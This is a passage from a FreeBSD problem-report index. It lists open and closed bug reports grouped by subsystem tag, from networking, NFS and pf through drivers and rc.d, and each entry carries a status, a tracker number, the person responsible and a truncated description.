doesn't work wi o kern/91859 net [ndis] if_ndis does not work with Asus WL-138 f kern/89738 [ndis] [hang] Can't make WL8000PCM wifi card work with s kern/86920 net [ndis] ifconfig: SIOCS80211: Invalid argument [regress 18 problems total. Problem reports for tag 'net': S Tracker Resp. Description -------------------------------------------------------------------------------- a kern/116697 kmacy [net] [patch] ifconfig's name argument has no effect o f kern/110720 kmacy [net] [patch] [request] support for interface descript o kern/106722 glebius [net] [patch] ifconfig may not connect an interface to o kern/90973 thompsa [net] [patch] if_bridge does not handle arp for own ad o kern/83622 brooks [net] [patch] add network interfaces labeling support s kern/81147 net [net] [patch] em0 reinitialization while adding aliase s kern/12071 fanf [net] [patch] new function: large scale IP aliasing 7 problems total. Problem reports for tag 'netatalk': S Tracker Resp. Description -------------------------------------------------------------------------------- s kern/4184 rwatson [netatalk] [patch] minor nits in sys/netatalk 1 problem total. Problem reports for tag 'netgraph': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/132984 net [netgraph] swi1: net 100% cpu usage o kern/122290 net [netgraph] [panic] Netgraph related "kmem_map too smal o kern/120304 net [netgraph] [patch] netgraph source assumes 32-bit time o kern/118727 net [netgraph] [patch] [request] add new ng_pf module o kern/115019 net [netgraph] ng_ether upper hook packet flow stops on ad o kern/106444 [netgraph] Kernel Panic on Binding to an ip to a virtu o kern/104751 net [netgraph] kernel panic, when getting info about my tr o kern/102540 [netgraph] [patch] supporting vlan(4) by ng_fec(4) o conf/102502 net [netgraph] [patch] ifconfig name does't rename netgrap o kern/97306 net [netgraph] NG_L2TP locks after connection with failed o kern/87421 [netgraph] [panic]: ng_ether + ng_eiface + if_bridge o kern/82881 [netgraph] [panic] ng_fec(4) causes kernel panic after o sparc/80410 sparc64 [netgraph] netgraph is causing crash with mpd on sparc o kern/66225 [netgraph] [patch] extend ng_eiface(4) control message o kern/63863 glebius [netgraph] [patch] [request] implement NGM_ELECTROCUTE 15 problems total. Problem reports for tag 'netinet': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133786 [netinet] [patch] ip_input might cause kernel panic o kern/133235 net [netinet] [patch] Process SIOCDLIFADDR command incorre o kern/132832 net [netinet] [patch] tcp_output() might generate invalid o kern/131536 net [netinet] [patch] kernel does allow manipulation of su o kern/125845 net [netinet] [patch] tcp_lro_rx() should make use of hard o kern/121706 net [netinet] [patch] "rtfree: 0xc4383870 has 1 refs" emit o kern/95277 net [netinet] [patch] IP Encapsulation mask_match() return o kern/75122 silby [netinet] [patch] Incorrect inflight bandwidth calcula a kern/61744 andre [netinet] [patch] TCP hangs onto mbufs with no tcp dat 9 problems total. Problem reports for tag 'netisr': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/100519 net [netisr] suggestion to fix suboptimal network polling 1 problem total. Problem reports for tag 'newfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/77181 mckusick [newfs] [patch] newfs -g largevalue, mkdir, panic 1 problem total. Problem reports for tag 'newusb': S Tracker Resp. Description -------------------------------------------------------------------------------- o usb/133989 usb [newusb] [ukbd] USB keyboard dead at mountroot> prompt o usb/130122 usb [newusb] DVD drive detects as 'da' device o docs/129962 usb [newusb] usbconfig(8) refers to non-existant usb2_core 3 problems total. Problem reports for tag 'nfe': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/127910 vwe [nfe] FBSD-7.0 amd64 nfe ethernet not completely worki o kern/123429 net [nfe] [hang] "ifconfig nfe up" causes a hard system lo o i386/121549 i386 [nfe]: nfe interface locks up during rc.conf initializ o kern/120232 net [nfe] [patch] Bring in nfe(4) to RELENG_6 o amd64/115126 yongari [nfe] nfe0: watchdog timeout (missed Tx interrupts) -- o i386/106789 i386 [nfe] or [nve]: Internal NIC of GA-K8N51GMF-RH does no 6 problems total. Problem reports for tag 'nfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136470 fs [nfs] Cannot mount / in read-only, over NFS o kern/135237 [nfs] sendfile(2) and SF_NODISKIO blocks on NFS files o kern/132934 [nfs] Cancel of a NFS-lock fails repeatedly o kern/131995 fs [nfs] Failure to mount NFSv4 server o kern/131360 fs [nfs] poor scaling behavior of the NFS server under lo o kern/131342 fs [nfs] mounting/unmounting of disks causes NFS to fail o kern/130628 net [nfs] NFS / rpc.lockd deadlock on 7.1-R o kern/129760 fs [nfs] after 'umount -f' of a stale NFS share FreeBSD l f kern/129719 net [nfs] [panic] Panic during shutdown, tcp_ctloutput: in o kern/129132 [nfs] 7.1-Beta2 nfsd cannot lock o kern/128448 net [nfs] 6.4-RC1 Boot Fails if NFS Hostname cannot be res o kern/125149 fs [nfs] [panic] changing into .zfs dir from nfs client c o kern/124280 [nfs] [panic] FreeBSD 7/amd64 STABLE crash o kern/123755 dfr [nfs] fstat(1) fails to return ESTALE with rename()d f o kern/121566 rc [nfs] [request] [patch] ethernet iface should be broug o kern/119791 net [nfs] UDP NFS mount of aliased IP addresses from a Sol o kern/119617 net [nfs] nfs error on wpa network when reseting/shutdown o bin/118318 mohans [nfs] NFS server hangs under special circumstances o kern/118126 kmacy [nfs] Poor NFS server write performance o kern/114506 [nfs] nfs_readdirrpc doesn't use copyout to write out o kern/114451 [nfs] [patch] prevent NFS server possible crash o kern/114111 [nfs] System crashes while writing on NFS-mounted shar o kern/112528 net [nfs] NFS over TCP under load hangs with "impossible p o kern/111848 [nfs] removing a file from a diskless nfs mounted root o kern/111162 [nfs] nfs_getpages does not restart interrupted system o kern/106646 [nfs] [patch] Pointer incorrectly cast to ulong o kern/105241 [nfs] problem with Linux NFS server up/down combined w o kern/97329 [nfs] [patch] code simplification o kern/94830 [nfs] [patch] mount_nfs causes a fatal trap 18 if the o kern/94256 dfr [nfs] nfs locking/rpc.lockd doesn't understand file de o kern/86944 [nfs] [patch] When I use FreeBSD with NFS client, clos s kern/86319 [nfs] [request] support a "noac" NFS mount flag to tur o kern/85894 [nfs] [panic] nfs_timer / nfs_socket.c:1146 panic o kern/84968 [nfs] programs on nfs4 mounts won't execute o kern/84965 [nfs] nfs4 mount generates NFS4ERR_BAD_SEQID o kern/84964 [nfs] nfs4 mount doesn't handle NFS4ERR_GRACE o kern/84953 kuriyama [nfs] NFS locking issue in RELENG_6/i386/SMP o kern/82805 [nfs] [panic] sched_switch ched_4bsd.c:865 / nfs_inact o kern/81770 [nfs] Always "NFS append race" at every NFS mount with o kern/79336 [nfs] NFS client doesn't detect file updates on Novell s kern/78884 [nfs] [patch] nfs client cache negative lookups o kern/78673 [nfs] [patch] nfs client open resets attrstamp ever if o kern/77902 [nfs] NFS client should use VA_UTIMES_NULL to determin o kern/76126 [nfs] [patch] 4.11 client will send a NFS request to r o kern/71391 [nfs] [panic] md via NFS file + mount -t ntfs: panic: o kern/70708 [nfs] gcore/procfs not finding /proc/pid/file on repea s kern/67545 [nfs] NFS Diskless Mount Option Suggestion a kern/64816 [nfs] [patch] mmap and/or ftruncate does not work corr a kern/62278 [nfs] [patch] NFS server may not set eof flag when rea a kern/57696 [nfs] NFS client readdir terminates prematurely if ren o kern/54383 net [nfs] [patch] NFS root configurations without dynamic o kern/48894 [nfs] Suggested improvements to the NFS read-ahead heu o kern/44580 [nfs] NFS updates file access time when file is modifi o kern/41216 [nfs] Get "NFS append race" error o kern/35669 [nfs] NFSROOT breaks without a gateway o kern/33203 [nfs] "got bad cookie" errors on NFS client o kern/31380 [nfs] NFS rootfs mount failure message too cryptic o kern/27232 [nfs] On NFSv3 mounted filesystems, stat returns st_bl f kern/26142 vwe [nfs] Unlink fails on NFS mounted filesystem o conf/22308 [nfs] mounting NFS during boot blocks if host map come o kern/22291 [nfs] getcwd(3) fails on recently-modified NFS-mounted s conf/17540 [nfs] NIS host lookups cause NFS mounts to wedge at bo s kern/17108 [nfs] SecureRPC not supported in mount_nfs command 63 problems total. Problem reports for tag 'ng_mppc': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/123045 gonzo [ng_mppc] ng_mppc_decompress - disabling node 1 problem total. Problem reports for tag 'ng_nat': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/125704 [ng_nat] kernel libalias: repeatable panic 1 problem total. Problem reports for tag 'nis': S Tracker Resp. Description -------------------------------------------------------------------------------- o bin/129541 [nis] passwd(1) cannot be forced to "yp" mode in some p conf/117555 dougb [patch] [nis] NIS-dependent services cannot start if y o kern/88320 [nis] ypxfr(8) talks IPv6 to IPv4-only portmap -> ypin o conf/72592 [nis] NIS Domain Master fails as client of itself o bin/71625 [patch] [nis] cleanup of the usr.sbin/rpc.ypupdated co o bin/71617 [patch] [nis] ypserv(8): cleanup of the usr.sbin/ypser o bin/71616 [patch] [nis] yp_mkdb(8): cleanup of the usr.sbin/yp_m o bin/67142 [nis] rpc.yppasswdd incorrectly throws errors about in o bin/66893 [patch] [nis] rpc.yppasswdd(8): Linux NIS clients conn o bin/66830 [nis] chsh(1) ypchsh(1) do not change user information o bin/54097 [nis] Non-local yppasswd(1) -d broken in 5.1-CURRENT o bin/52343 [nis] login(1) problem on the server o bin/51628 [nis] ypmatch doesn't match keys in legacy NIS servers o kern/44578 [nis] getnetgrent fails to read NIS netgroup map o bin/42093 [nis] ypbind(8) hangs on NIC with the lowest scopeid o bin/40215 [nis] NIS host search not terminate o kern/34842 [nis] [patch] VmWare port + NIS causes "broadcast stor o bin/29903 [nis] ypbind(8) loses connection to NIS master and nev o bin/29808 [nis] ypserv(8) dumps core in yp_find_db o bin/24461 [nis] Being able to increase the YP timeout without re s bin/2090 [patch] [nis] clients may bind to FreeBSD ypserv refus 21 problems total. Problem reports for tag 'notes': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135989 [NOTES] [patch] device vr support D-Link DFE-520TX, bu o kern/133162 [NOTES] [patch] document modular ata driver devices 2 problems total. Problem reports for tag 'nsswitch.conf': S Tracker Resp. Description -------------------------------------------------------------------------------- o conf/123330 net [nsswitch.conf] Enabling samba wins in nsswitch.conf c o conf/73337 [nsswitch.conf] [patch] potential invalid free o conf/64788 [nsswitch.conf] nsswitch with ldap and starting ppp on 3 problems total. Problem reports for tag 'ntfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/120483 fs [ntfs] [patch] NTFS filesystem locking changes o kern/120482 fs [ntfs] [patch] Sync style changes between NetBSD and F o kern/118107 fs [ntfs] [panic] Kernel panic when accessing a file at N o kern/117314 fs [ntfs] Long-filename only NTFS fs'es cause kernel pani o kern/116515 remko [ntfs] NTFS mount does not check that user has permiss o kern/114847 fs [ntfs] [patch] [request] dirmask support for NTFS ala o kern/103035 fs [ntfs] Directories in NTFS mounted disc images appear o kern/99290 fs [ntfs] mount_ntfs ignorant of cluster sizes o kern/97377 fs [ntfs] [patch] syntax cleanup for ntfs_ihash.c p kern/89966 rodrigc [ntfs] [panic] mounting ntfs causes kernel panic in so o kern/73484 fs [ntfs] Kernel panic when doing `ls` from the client si o kern/71774 fs [ntfs] NTFS cannot "see" files on a WinXP filesystem 12 problems total. Problem reports for tag 'nullfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/130210 fs [nullfs] Error by check nullfs o bin/121898 fs [nullfs] pwd(1)/getcwd(2) fails with Permission denied o sparc/104428 sparc64 [nullfs] nullfs panics on E4500 (but not E420) o kern/51583 fs [nullfs] [patch] allow to work with devices and socket 4 problems total. Problem reports for tag 'nve': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/118990 [nve] nve + PAE bus_addr_t/void * inconsistencies s amd64/108861 amd64 [nve] nve(4) driver on FreeBSD 6.2 AMD64 does not work o i386/106789 i386 [nfe] or [nve]: Internal NIC of GA-K8N51GMF-RH does no o kern/106243 net [nve] double fault panic in if_nve.c on high loads o kern/88045 jhb [nve] [patch] 6.0rc1: nve0: device timeout (51) o amd64/84027 obrien [nve] if_nve gets stuck 6 problems total. Problem reports for tag 'nwfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/65920 fs [nwfs] Mounted Netware filesystem behaves strange 1 problem total. Problem reports for tag 'ofw': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/112477 marius [ofw] [patch] Add support to set the node and type on 1 problem total. Problem reports for tag 'ohci': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/127222 usb [ohci]: Regression in 7.0 usb storage generic driver o usb/122539 usb [ohci] [panic] AnyDATA ADU-E1000D - kernel panic: ohci o usb/121755 usb [ohci] [patch] Fix panic after ohci/uhub cardbus devic o usb/108056 usb [ohci] Mouse gets powered off during device probe when o usb/107827 usb [ohci] [panic] ohci_add_done addr not found o usb/101448 usb [ohci] FBSD 6.1-STABLE/AMD64 crashes under heavy USB/O o usb/93828 usb [ohci] [panic] ohci causes panic on boot (HP Pavillion o usb/79269 usb [ohci] USB ohci da0 plug/unplug causes crashes and loc 8 problems total. Problem reports for tag 'padlock': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135014 [padlock] Using padlock(4) in 8-current triggers "fpud 1 problem total. Problem reports for tag 'pae': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/129550 i386 [pae] [kqueue] crash with PAE kernel 1 problem total. Problem reports for tag 'pam': S Tracker Resp. Description -------------------------------------------------------------------------------- o bin/113230 des [pam] [patch] const-ify PAM-headers o kern/107154 [pam] pam.d/sshd pam_ssh.so doesn't start ssh-agent o kern/94978 [pam] pam_opie module option without "no_fake_prompts" o kern/88150 des [pam] PAM does not search /usr/local/lib for modules o kern/83099 des [pam] pam_login_access change causes cyrus-sasl-saslau s bin/25477 [pam] [patch] pam_radius(8) fix to allow null password 6 problems total. Problem reports for tag 'patm': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/112686 net [patm] patm driver freezes System (FreeBSD 6.2-p4) i38 1 problem total. Problem reports for tag 'pccard': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/121760 [pccard] [cardbus] an ed1 network pccard's CIS wasn't p kern/60307 [pccard] [patch] wrong product id in pccarddevs for Sp o i386/41364 imp [pccard] NewMedia "Bus Toaster" SCSI card w/ Advansys 3 problems total. Problem reports for tag 'pccbb': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/128870 [pccbb] Interrupt Storm when plugging in PCMCIA Card ( o kern/128608 [pccbb] [patch] add support for powering down and up C o kern/128040 [pccbb] [patch] System hangs when PCMCIA-CF adapter pl o kern/128037 [pccbb] [patch] System hang on shutdown with PCMCIA-CF f kern/111990 [pccbb] [patch] system freeze in initialization proces 5 problems total. Problem reports for tag 'pci': S Tracker Resp. Description -------------------------------------------------------------------------------- s kern/133733 [pci] [patch] Incorrect record in pci_vendors for Broa o kern/130957 jhb [pci] /sys/dev/pci/pci.c revision 181771 breaks networ o kern/129713 [pci] pci-pci bridge quirk with ich7 chipset not handl o i386/100142 i386 [pci] [patch] /dev/smb0 device not available on system o kern/95661 [pci] [patch] pci_pci still not correct for initializi o kern/91347 rodrigc [pci] [patch] Add another PCI-e chipset for extended c o kern/89837 [pci] PCI code outputs superfluous "failed to enable/d p kern/79139 rodrigc [pci] [patch] Support for more PCIe chipsets o kern/70810 [pci] [patch] Enable SMBus device on Asus P4B series m o kern/65355 [pci] [patch] TC1000 serial ports need enabling o kern/59903 [pci] [patch] "pci_find_device" returns [only/at] the 11 problems total. Problem reports for tag 'pcm': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/129604 multimedia [pcm]: Sound stops with error: pcm0:virtual:dsp0.vp0: 1 problem total. Problem reports for tag 'pcmcia': S Tracker Resp. Description -------------------------------------------------------------------------------- f amd64/123275 amd64 [cbb] [pcmcia] cbb/pcmcia drivers on amd64 failure [re o kern/117026 imp [pcmcia]: Panic while removing PCMCIA wireless card o kern/94898 [pcmcia] GPRS PCMCIA card cause interrupt storm and co 3 problems total. Problem reports for tag 'pcvt': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/75887 i386 [pcvt] with vt0.disabled=0 and PCVT in kernel video/ke o stand/54839 standards [pcvt] pcvt deficits o stand/54833 standards [pcvt] more pcvt deficits a kern/26348 [pcvt] scon -s, page fault in HP mode 4 problems total. Problem reports for tag 'pecoff': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/80742 wkoszek [pecoff] [patch] Local DoS in sys/compat/pecoff (+ oth o kern/60963 [pecoff] [patch] Win32 Applications abort on PECOFF 2 problems total. Problem reports for tag 'periodic': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135502 net [periodic] Warning message raised by rtfree function i o conf/123551 [patch] [periodic] /etc/periodic/daily/440.status-mail o conf/123516 [periodic] Daily Security Logs Not Reporting Failed Lo o conf/70715 [periodic] Lack of year in dates in auth.log can cause o conf/47596 [periodic] daily security run complains if timezone ch 5 problems total. Problem reports for tag 'pf': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136618 net [pf][stf] panic on cloning interface without unit numb o kern/135948 pf [pf] [gre] pf not natting gre protocol o kern/134996 pf [pf] Anchor tables not included when pfctl(8) is run w o kern/133732 pf [pf] max-src-conn issue o kern/132769 pf [pf] [lor] 2 LOR's with pf task mtx / ifnet and rtent f kern/132176 pf [pf] pf stalls connection when using route-to [regress o conf/130381 pf [rc.d] [pf] [ip6] ipv6 not fully configured when pf st o kern/129861 pf [pf] [patch] Argument names reversed in pf_table.c:_co o kern/127920 pf [pf] ipv6 and synproxy don't play well together o conf/127814 pf [pf] The flush in pf_reload in /etc/rc.d/pf does not w o kern/127439 pf [pf] deadlock in pf f kern/127345 pf [pf] Problem with PF on FreeBSD7.0 [regression] o kern/127121 pf [pf] [patch] pf incorrect log priority o kern/127042 pf [pf] [patch] pf recursion panic if interface group is o kern/125467 pf [pf] pf keep state bug while handling sessions between s kern/124933 pf [pf] [ip6] pf does not support (drops) IPv6 fragmented o kern/124364 pf [pf] [panic] Kernel panic with pf + bridge o kern/122773 pf [pf] pf doesn't log uid or pid when configured to o kern/122014 pf [pf] [panic] FreeBSD 6.2 panic in pf o kern/121704 pf [pf] PF mangles loopback packets o kern/120281 pf [pf] [request] lost returning packets to PF for a rdr o kern/120057 pf [pf] [patch] Allow proper settings of ALTQ_HFSC. The c o bin/118355 pf [pf] [patch] pfctl(8) help message options order false o kern/114567 pf [pf] [lor] pf_ioctl.c + if.c o kern/111220 pf [pf] repeatable hangs while manipulating pf tables s conf/110838 pf [pf] tagged parameter on nat not working on FreeBSD 5. o kern/93825 pf [pf] pf reply-to doesn't work o sparc/93530 pf [pf] Incorrect checksums when using pf's route-to on s o kern/92949 pf [pf] PF + ALTQ problems with latency o kern/82271 pf [pf] cbq scheduler cause bad latency 30 problems total. Problem reports for tag 'pfsync': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/135162 pf [pfsync] pfsync(4) not usable with GENERIC kernel o kern/133060 net [ipsec] [pfsync] [panic] Kernel panic with ipsec + pfs o kern/101794 [pfsync] Setting plip as syncdev for pfsync causes ker 3 problems total. Problem reports for tag 'picobsd': S Tracker Resp. Description -------------------------------------------------------------------------------- o misc/116453 [picobsd] picobsd build script fails for not exist log o misc/52256 embedded [picobsd] picobsd build script does not read in user/s o kern/42728 embedded [picobsd] many problems in src/usr.sbin/ppp/* after c o misc/42115 luigi [picobsd] [patch] fix build script for 4.6-STABLE o bin/42084 luigi [picobsd] PicoBSD's 'netstat -i' reports negative Ipkt p misc/15876 edwin [picobsd] PicoBSD message of the day problems 6 problems total. Problem reports for tag 'pipe': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/93685 [pipe] select on pipe write fails from '0' end o kern/77493 [pipe] freebsd 5.3 + bash process substitution fails d 2 problems total. Problem reports for tag 'plip': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/113856 [patch] [plip] PLIP (parallel port IP) dead on 6.2, de o kern/102035 net [plip] plip networking disables parallel port printing 2 problems total. Problem reports for tag 'portalfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/9679 [portalfs] [patch] fix for uninterruptible open in por 1 problem total. Problem reports for tag 'powerd': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/117242 [powerd] [hang] console hangs when powerd is adaptive o i386/106850 i386 [powerd] powernow0 attach returned 6 o amd64/87689 amd64 [powerd] [hang] powerd hangs SMP Opteron 244 5-STABLE 3 problems total. Problem reports for tag 'ppbus': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/17425 [ppbus] [patch] fix two small printing errors in ppbus 1 problem total. Problem reports for tag 'ppp': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/133572 net [ppp] [hang] incoming PPTP connection hangs the system o kern/129219 net [ppp] Kernel panic when using kernel mode ppp o kern/123890 net [ppp] [panic] crash & reboot on work with PPP low-spee o conf/119550 [ppp] ppp not starting during bootup. o usb/118353 usb [panic] [ppp] repeatable kernel panic during ppp(4) se o bin/114081 bz [patch] [ppp] ppp(8) should be able to set ethernet ad o conf/106009 rc [ppp] [patch] [request] Fix pppoed startup script to p o conf/105689 rc [ppp] [request] syslogd starts too late at boot o conf/105145 rc [ppp] [patch] [request] add redial function to rc.d/pp o kern/99408 [ppp] problems with ppp and arp o kern/93019 net [ppp] ppp and tunX problems: no traffic after restarti o kern/92270 glebius [ppp]: ppp does not work on renamed network interfaces f bin/88619 brian [ppp] ppp chat auth fails ( pppoe ) s kern/84386 [ppp] [request] PPPoA Authentication built into FreeBS o conf/67328 [ppp] Usermode PPP hangs on boot when NIS configured o kern/27474 net [ipf] [ppp] Interactive use of user PPP and ipfilter c 16 problems total. Problem reports for tag 'pppd': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/112160 [pppd] uplink DSL w/pppoe+NAT 'out of buffer space' ki o kern/109308 net [pppd] [panic] Multiple panics kernel ppp suspected [r o kern/109277 [pppd] [patch] : kernel ppp(4) botches clist reservati o kern/102390 [pppd] [patch] kernel pppd don't using pam o kern/99607 [pppd] pppd hangs kernel due to interrupt flood from s o bin/98542 [pppd] pppd(8) daemon unexpectently died , Exit 1 o kern/95288 net [pppd] [tty] [panic] if_ppp panic in sys/kern/tty_subr 7 problems total. Problem reports for tag 'procfs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/124487 [procfs] [patch] Extending the PROCFS (/proc) filesyst o kern/97505 [procfs] file entry of procfs points to "unknown" o kern/96999 [procfs] [patch] procfs reports incorrect information s kern/19535 [procfs] [patch] procfs_rlimit tidyup 4 problems total. Problem reports for tag 'pseudofs': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/85137 des [pseudofs] [patch] panic due to sleep with held mutex 1 problem total. Problem reports for tag 'psm': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/129125 [psm] psm0: failed to reset the aux device. f kern/128308 gavin [psm] psm0 cause page fault o kern/128083 [psm] [panic] early SMP panic on GA-G31M-S2L motherboa o kern/127887 [psm] PSM0 not detected by the KERNEL in Compaq Prolia o bin/122235 [psm] freebsd-7.0 moused(8) problems with ALPS GlidePo o kern/122046 [psm] Synaptics touchpad freezes (psm0: lost interrupt o kern/119197 [psm]: PS/2 mouse doesn't work under FreeBSD i386 7.0 o kern/109161 philip [psm] synaptic touchpad doesn't work o kern/108659 [psm] Mouse (Synaptics touchpad) cursor freezes for so o kern/100687 [psm] psm problem (?): touchpad hangs, then move supe o kern/91339 [psm] mousedriver do not recognize aditional buttons o s i386/85072 i386 [psm] ps/2 Mouse detection failure on compaq chipset o kern/84411 philip [psm] [patch] psm drivers adds bad buttons for Synapti s kern/80844 vwe [psm] [patch] Increase compatibility of psm driver wit o kern/18293 [psm] [patch] lack of versapad mouse wheel emulation 15 problems total. Problem reports for tag 'pst': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/121454 acpi [pst] Promise SuperTrak SX6000 does not load during bo o i386/74153 i386 [pst] FreeBSD 5.3 cannot boot ftom pst 2 problems total. Problem reports for tag 'ptrace': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/114155 [ptrace] sigsuspend gets interrupted by ptrace 1 problem total. Problem reports for tag 'pty': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/99758 [pty] [patch] chown/chmod pty slave side in kernel o kern/60697 [pty] [patch] pseudo-tty hack versus telnet race cause 2 problems total. Problem reports for tag 'puc': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134878 [puc] [patch] Add support for Oxford OXPCIe954 and OXP o kern/132271 [puc] [patch] puc support for a generic card o kern/124128 [puc] puc driver doesn't support VScom PCIex-800H 8-po p kern/104212 [puc] [patch] support for Kuroutoshikou SERIAL4P-LPPCI o kern/103250 [puc] puc failed to attach sio ports when loaded as mo o kern/82901 [puc] ECP mode fails on NetMos ppc card - "PWord not s o kern/75132 jhb [puc] [patch] add support for the Davicom 56PDV PCI Mo o kern/43716 [puc] [patch] puc driver does not recognize Lava Dual- 8 problems total. Problem reports for tag 'pxeboot': S Tracker Resp. Description -------------------------------------------------------------------------------- o i386/123981 i386 [pxeboot] You can't usefully PXEBOOT the 7.0-RELEASE-i o kern/118222 [pxeboot] [patch] FreeBSD 7.0 PXE + NFS / "Can't work o kern/106028 [pxeboot] tftp inside pxeboot isn't initialised proper o kern/91719 [pxeboot] BZ2_bzDecompress returned -3 error on loadin o kern/90368 [pxeboot] pxeboot misses ${class} parameter when booti 5 problems total. Problem reports for tag 'queue': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/119307 emaste [queue] [patch] TRASHIT macro blasts list header if RE 1 problem total. Problem reports for tag 'quotas': S Tracker Resp. Description -------------------------------------------------------------------------------- s bin/42004 mpp [quotas] quota is still IPv4 only, and not INET indepe 1 problem total. Problem reports for tag 'radeon': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/121337 [radeon] [panic] Kernel panic on 7.0-RELEASE using ati o kern/119850 [radeon] radeon module doesnt work right, when loaded o kern/108829 [radeon] radeon module fails with thinkpad T43 s kern/89271 [radeon] [agp] [hang] X.org hangs when heavily using R 4 problems total. Problem reports for tag 'ral': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134591 [ral] ral(4) driver frequently loses carrier (on RT256 o kern/134168 net [ral] ral driver problem on RT2525 2.4GHz transceiver o kern/132238 [ral] ral driver does not support RT2860 o kern/126895 net [patch] [ral] Add antenna selection (marked as TBD) f kern/125502 net [ral] ifconfig ral0 scan produces no output unless in o kern/124341 net [ral] promiscuous mode for wireless device ral0 looses o kern/122033 net [ral] [lor] Lock order reversal in ral0 at bootup [reg o kern/121174 [ral] if_ral loses performance in FreeBSD 7 (RELENG_7) o kern/119696 [irq] [ral] ral device causes massive interrupt storm f kern/117655 sam [ral] ral%d: device timeout when running as an access o kern/111457 net [ral] ral(4) freeze o kern/109227 [ral] ral(4) driver doesn't handle correctly RT2561C P o kern/103200 [ral] ral driver for RELENG_6 is out-of-date with resp o kern/95519 net [ral] ral0 could not map mbuf o kern/91364 net [ral] [wep] WF-511 RT2500 Card PCI and WEP o kern/82456 [ral] WITNESS warning/backtrace in if_ral 16 problems total. Problem reports for tag 'random': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/123177 secteam [random] [patch] arc4rand(9) produces the same sequenc 1 problem total. Problem reports for tag 'rc.d': S Tracker Resp. Description -------------------------------------------------------------------------------- o conf/136624 rc [rc.d] sysctl variables for ipnat are not applied on b o bin/134250 [rc.d] mountlate: bogus error message when using neste o conf/133987 rc [rc.d] defaultroute broken with DHCP in some cases o conf/132476 rc [rc.d] [patch] add support setfib(1) in rc.d/routing o conf/130555 net [rc.d] [patch] No good way to set ipfilter variables a o conf/130381 pf [rc.d] [pf] [ip6] ipv6 not fully configured when pf st o conf/119076 rc [patch] [rc.d] /etc/rc.d/netif tries to remove alias a o conf/109562 rc [rc.d] [patch] [request] Make rc.d/devfs usable from c p conf/103489 bz [rc.d] [named] [jail] [patch] named_chroot_autoupdate 9 problems total. Problem reports for tag 're': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/123563 yongari [re] watchdog timeout o kern/123166 yongari [re] CARP messages filtered by Realtek driver on > 6.2 f amd64/122970 yongari [re] [hang] RealTek 8168/8111B couses system crash f kern/119047 yongari [re] Not correct working RealTek 8168/8111B PCIe Gigab o kern/109251 net [re] [patch] if_re cardbus card won't attach o kern/108485 [re] stress2-udp with realtek 8169S gigabit interface f amd64/106918 yongari [re] Asus P5B with internal RealTek PCIe Ethernet gets o kern/84584 yongari [re] re(4) spends too much time in interrupt handler ( o i386/70832 yongari [re] re0: watchdog timeout on Evo N1015v 9 problems total. Problem reports for tag 'resolver': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/136013 [resolver] Resolver wrong diagnostics f kern/74314 bz [resolver] [jail] DNS resolver broken under certain ja 2 problems total. Problem reports for tag 'rl': S Tracker Resp. Description -------------------------------------------------------------------------------- s kern/134517 yongari [rl] [patch] Realtek 8111C Driver Backport for FreeBSD o kern/100290 yongari [rl] rl0: watchdog timeout [regression] o kern/71045 [rl] [vr] DHCP-Request is sets other device's ip to nu 3 problems total. Problem reports for tag 'route': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/134931 net [route] [fib] Route messages sent to all socket listen o kern/134531 net [route] [panic] kernel crash related to routes/zebra o kern/134369 net [route] [ip6] IPV6 in Head broken for routing table up 3 problems total. Problem reports for tag 'rp': S Tracker Resp. Description -------------------------------------------------------------------------------- o kern/44202 [rp] [patch] -stable rp driver does not work with mult s i386/28975 [rp] RocketPort problems 2 problems total. Problem reports for tag 'rpc': S Tracker Resp. Description -------------------------------------------------------------------------------- f kern/117711 matteo [rpc] rpcbind binds to all interfaces on random ports f conf/96412 linimon [rpc] 2 rpc.lockds launched at boot ? blocking problem s bin/94892 [rpc] rpc.lockd does not interoperate with Solaris 10 o bin/94258 [rpc] O_NONBLOCK may block with rpc.lockd o bin/94252 [rpc] rpc.lockd cannot cancel lock requests s kern/56461 [rpc] FreeBSD client rpc.lockd incompatible with Linux 6 problems total. Problem reports for tag 'rpc.quotad': S Tracker 